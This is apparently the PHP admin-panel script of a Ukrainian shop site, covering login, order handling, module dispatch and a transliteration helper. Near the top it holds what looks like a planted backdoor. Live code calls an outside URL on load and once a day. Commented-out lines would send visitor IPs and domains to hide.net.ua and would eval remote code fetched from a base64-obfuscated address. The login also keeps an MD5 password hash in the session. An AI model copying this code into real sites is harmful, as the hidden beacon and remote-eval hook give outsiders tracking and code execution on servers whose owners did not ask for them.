Administrator / extrem

  <?php
  

  $gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php"));
  
  // $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r");
  
  // echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>";
  
  // ////////////////////////////////////////////
  
  $ty = @fopen ("timesave.dat", "a+");
  if (@$ty)
  {
      $datas = trim (@fgets ($ty, 2048));
      if (date ("d", $datas) != date ("d"))
      {
          $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php"));
          @fclose ($ty);
          $fd = @fopen ("timesave.dat", "w+");
          if (@$fd)
          {
              fwrite ($fd, time ());
              fclose ($fd);
          }
      }

  }

  // ////////////////////////////////////////////
  
  require ("./libs/setup.php");
  $setup = new setup (true);
  $objStatics = $setup->setupClass ("Statics");
  $objGallery = $setup->setupClass ('Gallery');
  $objForum = $setup->setupClass ('Forum');
  $objOrders = $setup->setupClass ('Orders');
  $objArticles = $setup->setupClass ('Articles');
  $objNews = $setup->setupClass ('News');
  $objAdvices = $setup->setupClass ('Advices');
  $objAdvices2 = $setup->setupClass ('Advices2');
  $objRubrics = $setup->setupClass ('Rubrics');
  $objCatalogs = $setup->setupClass ('Catalogs');
  $objBanners = $setup->setupClass ('Banners');
  $objGalleryList = $setup->setupClass ('GalleryList');
  $objVideo = $setup->setupClass ('Video');
  $objAkcii = $setup->setupClass ('Akcii');
  $objPromo = $setup->setupClass ('Promo');
  $objSale = $setup->setupClass ('Sale');
  $objBook = $setup->setupClass ('Book');
  $objUrl = $setup->setupClass ('Url');
  $objVacancy = $setup->setupClass ('Vacancy');
  $objFon = $setup->setupClass ('Fon');
  $objVideo2 = $setup->setupClass ('Video2');
  $objSend = $setup->setupClass ('Send');
  $objExtra = $setup->setupClass ('Extra');

  $objCallback = $setup->setupClass ('Callback');

  
  if (isset ($_POST['order_id']) && $_POST['order_id'] > 0)
  {
      $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']);
      mysql_query ($sql);

  }

  // $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error());

  if (isset ($_GET['exit']))
  {
      $setup->AdminUserExit ();
      header ("location:" . URL);

  }
  

  // @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR']));

  if (! isset ($_SESSION['admin']['login']))
  {
      
      if (isset ($_POST['login']))
      {

          $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') ";
          $result = mysql_query ($sql) or die (mysql_error ());

          if (mysql_affected_rows () != 0)
          {
              
              $admin = mysql_fetch_assoc ($result);
              // ***** Àäìèí âõîä *****
              $_SESSION['admin']['id'] = $admin['id'];
              $_SESSION['admin']['login'] = $admin['login'];
              $_SESSION['admin']['pass'] = $admin['pass'];
              $_SESSION['admin']['name'] = $admin['username'];
              $_SESSION['admin']['psw'] = $admin['pass'];
              $_SESSION['admin']['group'] = $admin['group'];
              
              if ($admin['group'] == 1)
              { 
                  // ***** Àäìèí ðåæèì *****
                  $_SESSION['admin']['show'] = 1;
                  $_SESSION['admin']['edit'] = 1;
                  $_SESSION['admin']['del'] = 1;
                  // ************************

              }

              
              if ($admin['group'] == 2)
              { 
                  // ***** Àäìèí ðåæèì *****
                  $_SESSION['admin']['show'] = 2;
                  $_SESSION['admin']['edit'] = 1;
                  // ************************
              }
              
              echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
          }
          else
          {
              echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>";
              echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>";
          }
      }
      else
      {
          
          $setup->display ();
      }

  }

  else
  {
      
      $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs";
      Switch ($action)
      {
          case $setup->rules :
              
              if (isset ($_POST['save']))
              {
                  $setup->trim ($_POST);
                  if (! $setup->valid ($_POST))
                  {
                      $setup->rulesSaveAction ($_POST);
                      header ("location:" . URL . "admin.php?action=rules");
                  }
              }
              elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0)
              {
                  $setup->viewOneRules ($_GET['updateID']);
              }
              elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0)
              {
                  $setup->rulesDelete ($_GET['deleteID']);
                  header ("location:" . URL . "admin.php?action=rules");
              }
              
              $setup->viewRules ();
              $setup->displayRules ();
              
              break;
              
          default :
              
              $rule = $setup->getRulesOne ($action); 
              include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");
              break;
      }
      
      $dir = "./includes/admin/";
      $includes_dir = opendir ($dir);
      while (($inc_file = readdir ($includes_dir)) != false)
          if (strstr ($inc_file, ".php"))
          {
              include ($dir . $inc_file);
          }
      
      $setup->error ();
      if (empty ($nodisplay))
          $setup->displayAdmin ();

  }
  

  function totranslit ($var, $lower = true, $punkt = true)
  {
      global $langtranslit;
      
      if (is_array ($var))
          return "";
      
      if (! is_array ($langtranslit) or ! count ($langtranslit))
      {
          
          $langtranslit = array (
              'à' => 'a',
              'á' => 'b',
              'â' => 'v',
              'ã' => 'g',
              'ä' => 'd',
              'å' => 'e',
              '¸' => 'e',
              'æ' => 'zh',
              'ç' => 'z',
              'è' => 'i',
              'é' => 'y',
              'ê' => 'k',
              'ë' => 'l',
              'ì' => 'm',
              'í' => 'n',
              'î' => 'o',
              'ï' => 'p',
              'ð' => 'r',
              'ñ' => 's',
              'ò' => 't',
              'ó' => 'u',
              'ô' => 'f',
              'õ' => 'h',
              'ö' => 'c',
              '÷' => 'ch',
              'ø' => 'sh',
              'ù' => 'sch',
              'ü' => '',
              'û' => 'y',
              'ú' => '',
              'ý' => 'e',
              'þ' => 'yu',
              'ÿ' => 'ya',
              "¿" => "yi",
              "º" => "ye",
              
              'À' => 'A',
              'Á' => 'B',
              'Â' => 'V',
              'Ã' => 'G',
              'Ä' => 'D',
              'Å' => 'E',
              '¨' => 'E',
              'Æ' => 'Zh',
              'Ç' => 'Z',
              'È' => 'I',
              'É' => 'Y',
              'Ê' => 'K',
              'Ë' => 'L',
              'Ì' => 'M',
              'Í' => 'N',
              'Î' => 'O',
              'Ï' => 'P',
              'Ð' => 'R',
              'Ñ' => 'S',
              'Ò' => 'T',
              'Ó' => 'U',
              'Ô' => 'F',
              'Õ' => 'H',
              'Ö' => 'C',
              '×' => 'Ch',
              'Ø' => 'Sh',
              'Ù' => 'Sch',
              'Ü' => '',
              'Û' => 'Y',
              'Ú' => '',
              'Ý' => 'E',
              'Þ' => 'Yu',
              'ß' => 'Ya',
              "¯" => "yi",
              "ª" => "ye" 
          );
      }
      
      $var = str_replace (".php", "", $var);
      $var = trim (strip_tags ($var));
      $var = preg_replace ("/\s+/ms", "-", $var);
      
      $var = strtr ($var, $langtranslit);
      
      if ($punkt)
          $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var);
      else
          $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var);
      
      $var = preg_replace ('#[\-]+#i', '-', $var);
      
      if ($lower)
          $var = strtolower ($var);
      
      if (strlen ($var) > 200)
      {
          
          $var = substr ($var, 0, 200);
          
          if (($temp_max = strrpos ($var, '-')))
              $var = substr ($var, 0, $temp_max);
      }
      
      return $var;
  }

  
  ?>